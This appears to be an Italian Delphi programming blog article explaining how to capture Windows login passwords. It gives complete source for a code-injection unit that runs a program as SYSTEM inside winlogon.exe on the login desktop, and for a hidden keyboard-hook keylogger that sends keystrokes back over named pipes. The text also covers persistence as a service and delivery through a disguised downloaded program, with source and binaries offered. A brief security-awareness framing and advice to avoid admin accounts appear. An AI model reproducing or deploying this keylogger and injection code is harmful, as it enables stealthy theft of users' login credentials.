Home | Chi sono | Contattami
 

Progr. lineare

Delphi
 
Componenti
  Database
 
Miei articoli

Windows

Miei articoli 

 

Keylogger per registrare le password di login


Nell' articolo articolo42.htm si è visto come eseguire un programa con l' utenza System. In pratica si è usata la tecnica di "Code Injection" copiando procedura e dati nello spazio di memoria del processo winlogon.exe: la procedura che viene eseguita in remoto (nel contesto del processo winlogon.exe) esegue un CreateProcess ed il processo risultante, essendo figlio di winlogon.exe, sarà eseguito con l' utenza System (essendo winlogon.exe stesso eseguito con l' utenza System). Bene adesso partiamo proprio da quell' articolo per fare un passo avanti: abbiamo visto che, per fare in modo che il programma interagisca con il desktop (in parole povere sia visibile), bisogna specificare il desktop winsta0\default come valore del campo lpDesktop del parametro StartupInfo di CreateProcess. Bene ... a questo punto consiglio nuovamente di dare un' occhiata all' articolo 

http://www.microsoft.com/msj/1298/terminalserver/terminalserver.aspx

per farsi un pò un' idea (tramite uno dei paragrafi) sui concetti di Winstation e Desktop (prima o poi scriverò un articolo completo su di loro ... ormai è da mesi che è il mio chiodo fisso). Bene: se invece di winsta0\default scrivo winsta0\winlogon allora il programma interagisce con la finestra di login: se il programma non ha la form principale con la caratteristica di essere sempre visibile su tutte le altre, allora nel momento in cui si apre la finestra di login (tasto windows + L se è attivo il cambio rapido utente altrimenti semplicemente il classico vecchio Ctrl + Alt + Canc) si vedrà per un attimo il programma ma poi questo sarà coperto dalla finstra di login; basta un Alt + Esc per riportarlo agli onori della cronaca ed in ogni caso il classico Alt + Tab per elencare tutti i programmi con finestra sortirà lo stesso effetto. Bene a questo punto possiamo sbizzarrirci un pò ed eseguire qualsiasi programma nella finestra di login: un test ad effetto può essere quello di eseguire uno di quei programmini che, nel momento in cui si posiziona la freccia del mouse su una casella di testo di tipo password, si riesce a visualizzare il testo in chiaro che c' è dietro i classici pallini (o asterischi) che compaiono quando digitiamo caratteri in una casella di testo di tipo password. Vedremo esattamente la password digitata: ecco ... chiaramente la password la conosciamo già visto che l' abbiamo digitata noi. E allora cosa serve una cosa simile??? Behhhh serve per capire che mentre noi lavoriamo (o cazzeggiamo) nella nostra sessione windows tra programmi p2p e cagatine varie, uno di questi programmini può eseguire un programma nel contesto del desktop winsta0\winlogon (la schermata di login) e registrare quello che digitiamo quando ci loggiamo: in sostanza noi apriamo la nostra sessione, ci scarichiamo da internet un programmino di quelli che sembrano tanto belli tutti colorati, lo lanciamo e questo ci fa partire di nascosto un bel keylogger nel desktop winsta0\winlogon (in grado quindi di registrare i tasti nel campo della password); a questo punto noi non ci siamo chiaramente accorti di nulla, blocchiamo un attimo la sessione (Windows + L oppure Ctrl+Alt+Canc) perchè andiamo a farci un panino e quando torniamo digitiamo la password per rientrare in sessione: ecco che il keylogger ha registrato tutto; oltretutto spesso non c' è nemmeno bisogno che uno blocchi volntariamente la sessione: infatti la screensaver è attivo di default e quando va in esecuzione poi bisogna riloggarsi perchè ci ritroviamo con la maschera di login; ora alzi la mano chi, nel corso di una sessione Windows non ha mai bloccato la sessione o si è trovato lo screensaver che è andato in esecuzione. In pratica se va in esecuzione quel keylogger nel desktop winsta0\winlogon, allora è sicurao quasi al 100% che tale keylogger raggiunga il suo obiettivo (cioè registrare la password). Se questo non bastasse, l' eseguibile che lancia il keylogger potrebbe essere implementato come servizio di Windows: il programmino bellino bellino scaricato da internet installerebbe tale eseguibile come servizio; fatto questo ad ogni avvio di windows partirebbe stò c***o di servizio che lancerebbe il keylogger nel desktop winsta0\winlogon (il servizo viene anch' esso eseguito come System (di default) e quindi ogni processo creato da un servizio sarà eseguito come System (di default). In questa maniera si avrebbe la garanzia totale di registrare la password. In entrambi i casi (sia il caso dell' esecuzione di un programma come system tramite "code injection" sia il caso dell' installazione di un servizio) viene richiesto che l' utenza che effettua il tutto abbia diritti amministrativi: è quindi buona norma nonlavorare mai con utenze amministrative (soprattutto cazzeggiare su internet) ma usare utenze user minimali (ed eseguire le operazioni di sistema con "esegui come" dal menù contestuale o "runas" dalla linea di comando). Bene dopo tutte queste considerazioni passerei alla pratica: allora cosa vogliamo realizzare????? Niente di particolare: semplicemente un KeyLogger che gira nella schermata di login; infatti se noi lanciamo il keylogger nella nostra sessione non saremo mai in grado di registrare i tasti premuti in fase di inserimento password. Bene come keylogger possiamo usare quello realizzato nell' articolo articolo33.htm. Gli eliminamo i 2 pulsanti ed inseriamo l' hook e l 'unhook rispetivamente negli eventi OnCreate ed OnDestroy della form. Poi dobbiamo fare in modo che la form non sia visibile e non basta settare Visible := False ma bisogna mettere nel sorgente del project l' istruzione Application.ShowMainForm := False e poi lavorare un pò con le api di Windows nell' evento OnCreate della form stessa. Poi c' è un altro problema: i 2 applicativi viaggiano in 2 mondi separati: uno sul desktop winsta0\default e l' altro sul desktop winsta0\winlogn; non possono comunicare l' uno con l 'altro tramite i messaggi (i messaggi hanno come raggio d' azione il desktop e quindi si possono scambiare messaggi le applicazioni che interagiscono col medesimo desktop). Dovremo quindi usare una tecnica alternativa per la comunicazione che constiste nell' utilizzo di 2 named pipe: il primo creato dall' eseguibile di partenza ed aperto dal keylogger, il secondo creato dal keylogger ed aperto successivamente dall' eseguibile di partenza (che ha appunto lanciato il keylogger). Il primo consentirà al keylogger di inviari i tasti intercettati all' eseguibile di partenza, il secondo verrà utilizzato dall' eseguibile di partenza per inviare una stringa al keylogger con la quale si comunica al keylogger che deve terminare la sua esecuzione. In questo contesto verrà richiesta anche la presenza di un oggetto di tipo Evento per assicurarsi che l' eseguibile di partenza apra il named pipe creato dal keylogger solo dopo che quest' ultimo lo abbia effettivamente creato. Se andiamo nei dettagli anche qui si diventa vecchi (il perchè dei vari parametri utilizzati nella gestione di named pipe, etc...) quindi taglierei corto e butterei giù la sbrodolata del codice:

Codice sorgente dell' eseguibile iniziale iniziale (una form, 2 pulsanti (btAttivaKeylogger, btArrestaKeylogger) ed un campo memo):

 

//Carlo Pasolini //http://utenti.lycos.it/carlpasolini unit Main; interface uses Windows, Messages, SysUtils, (*Variants, *)Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ProcessUtilities; type TForm1 = class(TForm) btAttivaKeylogger: TButton; Memo1: TMemo; btArrestaKeylogger: TButton; procedure btAttivaKeyloggerClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure btArrestaKeyloggerClick(Sender: TObject); private { Private declarations } public { Public declarations } end; TNamedPipeThread = class(TThread) private FReadMessage: String; FPipeHandle: Integer; procedure DisplayMessage; protected procedure Execute; override; public constructor Create(Pipe: Integer); end; var Form1: TForm1; Pipe_keys, Pipe_stop_logger: THandle; keylogger_pipe_event: THandle; implementation {$R *.dfm} { TNamedPipeThread } //arresta il KeyLogger che gira nel desktop winsta0\winlogon procedure StopLogger; var BytesWritten: Cardinal; sMessage: String; begin sMessage := 'exit_logger'; WriteFile(Pipe_stop_logger, sMessage[1], Length(sMessage), BytesWritten, nil); end; constructor TNamedPipeThread.Create(Pipe: Integer); begin inherited Create(False); FPipeHandle := Pipe_keys; end; procedure TNamedPipeThread.Execute; const BytesToRead = 1000; var BytesRead: Cardinal; DataRead: Array[0..BytesToRead] Of Char; begin repeat ReadFile(FPipeHandle, DataRead, BytesToRead, BytesRead, nil); if (BytesRead <> 0) then begin SetString(FReadMessage, DataRead, BytesRead); Synchronize(DisplayMessage); end; until (Terminated); end; procedure TNamedPipeThread.DisplayMessage; begin with Form1.Memo1 do Text := Text + FReadMessage; end; procedure TForm1.FormCreate(Sender: TObject); begin //creo il pipe per la lettura dei tasti inviati dal logger Pipe_keys := CreateNamedPipe('\\.\pipe\pipe_keys', PIPE_ACCESS_INBOUND, PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT, 1, 8096, 8096, 5000, nil); if (Pipe_keys = INVALID_HANDLE_VALUE) then raise Exception.Create('Impossibile creare il named pipe ' + '\\.\pipe\pipe_keys'); keylogger_pipe_event := CreateEvent(nil, True, False, 'keylogger_pipe'); //creo il thread di lettura dei tasti inviati dal logger usando il named pipe // \\.\pipe\pipe_keys with TNamedPipeThread.Create(Pipe_keys) do FreeOnTerminate := True; end; procedure TForm1.FormDestroy(Sender: TObject); begin DisconnectNamedPipe(Pipe_keys); CloseHandle(Pipe_keys); CloseHandle(Pipe_stop_logger); end; procedure TForm1.btAttivaKeyloggerClick(Sender: TObject); var hRemoteProcess: THandle; begin btAttivaKeylogger.Enabled := False; hRemoteProcess := SystemProcess(pAnsiChar(GetCurrentDir + '\keylogger.exe')); //mi metto in attesa dello sblocco da parte del keylogger subito dopo aver creato //il named pipe \\.\pipe\pipe_stop_logger WaitForSingleObject(keylogger_pipe_event, INFINITE); //apro il pipe, creato dal logger, per la scrittura del messaggio 'exit_logger' //di terminazione del logger Pipe_stop_logger := CreateFile('\\.\pipe\pipe_stop_logger', GENERIC_WRITE, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (Pipe_stop_logger = INVALID_HANDLE_VALUE) then raise Exception.Create('Impossibile creare il named pipe ' + '\\.\pipe\pipe_keys'); btArrestaKeylogger.Enabled := True; end; procedure TForm1.btArrestaKeyloggerClick(Sender: TObject); begin // btArrestaKeylogger.Enabled := False; StopLogger(); btAttivaKeylogger.Enabled := True; end; end.

sorgente della unit ProcessUtilities (contiene l' implementazione del "code injection" per la creazione di un processo con l' utenza System)

 

unit ProcessUtilities; interface uses Windows, Sysutils, TlHelp32; function SystemProcess(NomeProg: pChar): THandle; implementation type TRemoteData = record pCreateProcess: function (lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; pDesktop: pchar; pProgName: pchar; end; PRemoteData = ^TRemoteData; procedure ModificaPrivilegio(szPrivilege: pChar; fEnable: Boolean); var NewState: TTokenPrivileges; luid: TLargeInteger; hToken: THandle; ReturnLength: DWord; begin OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken); LookupPrivilegeValue(nil, szPrivilege, luid); NewState.PrivilegeCount := 1; NewState.Privileges[0].Luid := luid; if fEnable then NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED else NewState.Privileges[0].Attributes := 0; AdjustTokenPrivileges( hToken, FALSE, NewState, sizeof(NewState), nil, ReturnLength); CloseHandle(hToken); end; function PidProcesso(NomeProcesso: string): LongWord; var pe: TProcessEntry32; hSnap: THandle; begin hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe.dwSize := sizeof(TProcessEntry32); //Prelevo informazioni sul primo processo nello snapshot di sistema Process32First(hSnap, pe); repeat //loop sui processi Result := pe.th32ProcessID; if (LowerCase(pe.szExeFile) = LowerCase(NomeProcesso)) then begin break; end; until (not (Process32Next(hSnap, pe)) ) ; CloseHandle(hSnap); end; function InjectString(Process: LongWord; Text: pchar): pchar; var BytesWritten: dword; begin Result := VirtualAllocEx(Process, nil, Length(Text) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten); end; function InjectDati(Process: LongWord; Dati: Pointer; Dimensione: dword): pointer; var BytesWritten: dword; begin Result := VirtualAllocEx(Process, nil, Dimensione, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(Process, Result, Dati, Dimensione, BytesWritten); end; function RemoteThread(RemoteData: PRemoteData): dword; stdcall; var StartupInfo: TStartupInfo; ProcessInfo: TProcessInformation; begin with RemoteData^ do begin StartupInfo.cb := SizeOf(StartupInfo); StartupInfo.lpReserved := nil; StartupInfo.lpDesktop := pDesktop; StartupInfo.lpTitle := nil; StartupInfo.dwX := 0; StartupInfo.dwY := 0; StartupInfo.dwXSize := 0; StartupInfo.dwYSize := 0; StartupInfo.dwXCountChars := 0; StartupInfo.dwYCountChars := 0; StartupInfo.dwFillAttribute := 0; StartupInfo.dwFlags := 1; StartupInfo.wShowWindow := 0; //invisibile; 5: visibile StartupInfo.cbReserved2 := 0; StartupInfo.lpReserved2 := nil; StartupInfo.hStdInput := 0; StartupInfo.hStdOutput := 0; StartupInfo.hStdError := 0; if pCreateProcess(nil, pProgName, nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then begin Result := ProcessInfo.hProcess; end else begin Result := 0; end end; end; procedure EndRemoteThread(); stdcall; begin end; //restituisce l' handle del processo creato function SystemProcess(NomeProg: pChar): THandle; var PID: dword; RemoteData: TRemoteData; process, thread: THandle; ptrInput, ptrProc: Pointer; ThreadId: DWORD; CodUscita: dword; begin ModificaPrivilegio('SeDebugPrivilege', TRUE); PID := PidProcesso('winlogon.exe'); Process := OpenProcess(PROCESS_CREATE_THREAD + PROCESS_QUERY_INFORMATION + PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_VM_READ, False, PID ); RemoteData.pProgName := InjectString(Process, NomeProg); // RemoteData.pDesktop := InjectString(Process, 'winsta0\default'); RemoteData.pDesktop := InjectString(Process, 'winsta0\winlogon'); RemoteData.pCreateProcess := GetProcAddress(GetModuleHandle('kernel32'), 'CreateProcessA'); ptrInput := InjectDati(Process, @RemoteData, SizeOf(RemoteData)); ptrProc := InjectDati(Process, @RemoteThread, dword(@EndRemoteThread) - dword(@RemoteThread)); Thread := CreateRemoteThread(Process, nil, 0, ptrProc, ptrInput, 0, ThreadId); WaitForSingleObject(Thread, INFINITE); //ottengo l' handle del processo creato come figlio di winlogon.exe GetExitCodeThread(Thread, CodUscita); VirtualFreeEx(Process, ptrInput, SizeOf(RemoteData), MEM_RELEASE); VirtualFreeEx(Process, ptrProc, dword(@EndRemoteThread) - dword(@RemoteThread), MEM_RELEASE); CloseHandle(Thread); Result := CodUscita; end; end.

sorgente del keylogger

 

unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, AppEvnts; type PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT; KBDLLHOOKSTRUCT = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: Longword; end; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; TNamedPipeThread = class(TThread) private FReadMessage: String; FPipeHandle: Integer; protected procedure Execute; override; public constructor Create(Pipe: Integer); end; var Form1: TForm1; hinstDLL: LongWord; hhookSysMsg: Longword; Pipe_keys, Pipe_stop_logger: THandle; keylogger_pipe_event: THandle; implementation {$R *.dfm} procedure Scrivi(str: string); var BytesWritten: Cardinal; sMessage: String; begin sMessage := str+#13#10; WriteFile(Pipe_keys, sMessage[1], Length(sMessage), BytesWritten, nil); end; constructor TNamedPipeThread.Create(Pipe: Integer); begin inherited Create(False); FPipeHandle := Pipe_stop_logger; end; procedure TNamedPipeThread.Execute; const BytesToRead = 1000; var BytesRead: Cardinal; DataRead: Array[0..BytesToRead] Of Char; begin repeat ReadFile(FPipeHandle, DataRead, BytesToRead, BytesRead, nil); if (BytesRead <> 0) then begin SetString(FReadMessage, DataRead, BytesRead); end; until (Terminated) or (FReadMessage = 'exit_logger'); if not (Terminated) then begin //rimuovo l' hook sulla tastiera UnhookWindowsHookEx(hhookSysMsg); ExitProcess(0); end; end; function KeyboardHookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall; var strKeyName : string; hooked: KBDLLHOOKSTRUCT; dwMsg: DWORD; begin result := 0; if ((nCode = HC_ACTION) and ((wParam = WM_SYSKEYUP) or (wParam = WM_KEYUP))) then begin hooked := PKBDLLHOOKSTRUCT(lParam)^; dwMsg := 0; dwMsg := dwMsg + (hooked.scanCode shl 16); dwMsg := dwMsg + (hooked.flags shl 24); SetLength(strKeyName, 20); GetKeyNameText(dwMsg, pChar(strKeyName), $FF); strKeyName := copy(strKeyName,1,StrLen(pChar(strKeyName))); Scrivi('{' + strKeyName + '}'); end; result := CallNextHookEx(hhookSysMsg, nCode, wParam, lParam); end; procedure TForm1.FormCreate(Sender: TObject); begin //rendo invisibile l' applicazione nell' Alt+Tab ///// ShowWindow(Application.handle, SW_HIDE); SetWindowLong(Application.handle, GWL_EXSTYLE, GetWindowLong(application.handle, GWL_EXSTYLE) and not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW); ShowWindow(Application.handle, SW_SHOW); ////////////////////////////////////////////////////// //creo il pipe per la lettura del messaggio di terminazione del logger Pipe_stop_logger := CreateNamedPipe('\\.\pipe\pipe_stop_logger', PIPE_ACCESS_INBOUND,//PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT, 1, 8096, 8096, 5000, nil); if (Pipe_stop_logger = INVALID_HANDLE_VALUE) then raise Exception.Create('Could not create named pipe '+'\\.\pipe\pipe_stop_logger'); keylogger_pipe_event := OpenEvent(EVENT_MODIFY_STATE, False, 'keylogger_pipe'); SetEvent(keylogger_pipe_event); //apro il pipe, creato dall' applicativo che ha attivato il logger, per l' invio //dei tasti Pipe_keys := CreateFile('\\.\pipe\pipe_keys', GENERIC_WRITE, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (pipe_keys = INVALID_HANDLE_VALUE) then raise Exception.Create('Could not create pipe '+'\\.\pipe\pipe_keys'); //creo il thread di lettura dei tasti inviati dal logger usando il named pipe // \\.\pipe\pipe_stop_logger with TNamedPipeThread.Create(Pipe_stop_logger) do FreeOnTerminate := True; //setto un hook sulla tastiera hhookSysMsg := SetWindowsHookEx(13, @KeyboardHookProcedure, GetModuleHandle(nil), 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin DisconnectNamedPipe(Pipe_stop_logger); CloseHandle(Pipe_stop_logger); CloseHandle(Pipe_keys); end; end.

Come ultima cosa c' è da osservare che in questo modo è anche possibile intercettare le combinazioni di tasti di sistema tipo ad esempio Ctrl+Alt+Canc, etc...

di seguito srogenti e binari

keylogger_winlogon

   

 
 
Your Ad Here